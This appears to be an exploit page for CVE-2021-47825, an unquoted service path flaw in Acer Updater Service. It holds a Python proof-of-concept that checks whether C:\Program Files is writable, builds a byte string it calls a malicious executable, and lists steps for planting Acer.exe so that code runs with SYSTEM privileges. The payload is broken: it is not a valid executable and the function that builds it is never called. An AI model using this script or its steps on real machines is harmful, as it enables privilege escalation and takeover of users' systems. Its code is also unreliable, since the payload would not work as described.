CVE-2021-47825: Acer Updater Service 未引用服务路径权限提升漏洞

# CVE-2021-47825 PoC - Unquoted Service Path Exploitation # Target: Acer Updater Service (C:\Program Files\Acer\Acer Updater\) # This PoC creates a malicious executable in the unquoted path import os import ctypes def create_malicious_executable(): """ Create a malicious executable that will be placed in the unquoted path. The file should be named 'Acer.exe' and placed in 'C:\Program Files\' """ # Malicious code to be executed with SYSTEM privileges malicious_code = b'MZ' # PE header malicious_code += b'\x90' * 58 malicious_code += b'\xe8\x00\x00\x00\x00' # Call instruction malicious_code += b'\x5B' # Pop ebx malicious_code += b'\x83\xC3' + bytes([0x30]) # Add ebx, 0x30 malicious_code += b'\xFF\xE3' # Jmp ebx return malicious_code def check_vulnerability(): """ Check if the Acer Updater Service is vulnerable to unquoted path injection. """ service_path = r'C:\Program Files\Acer\Acer Updater\Acer Updater Service.exe' intermediate_path = r'C:\Program Files\Acer.exe' print(f'[*] Checking vulnerable service path: {service_path}') print(f'[*] Checking for intermediate path: {intermediate_path}') # Check if we can write to intermediate directory try: if os.access(r'C:\Program Files', os.W_OK): print('[+] Vulnerable! Attacker can write to C:\\Program Files') print('[+] Place malicious Acer.exe in this directory to hijack service execution') return True else: print('[-] Not vulnerable or insufficient permissions') return False except Exception as e: print(f'[-] Error: {e}') return False def main(): print('='*60) print('CVE-2021-47825 - Acer Updater Service Unquoted Path PoC') print('='*60) # Check if current process has admin privileges try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() if is_admin: print('[+] Running with administrator privileges') else: print('[-] Not running as administrator (may need for full exploitation)') except: pass check_vulnerability() print('\n[*] Exploitation steps:') print(' 1. Create malicious executable named "Acer.exe"') print(' 2. Place it in C:\\Program Files\\ directory') print(' 3. Wait for service restart or system reboot') print(' 4. Malicious code executes with SYSTEM privileges') if __name__ == '__main__': main()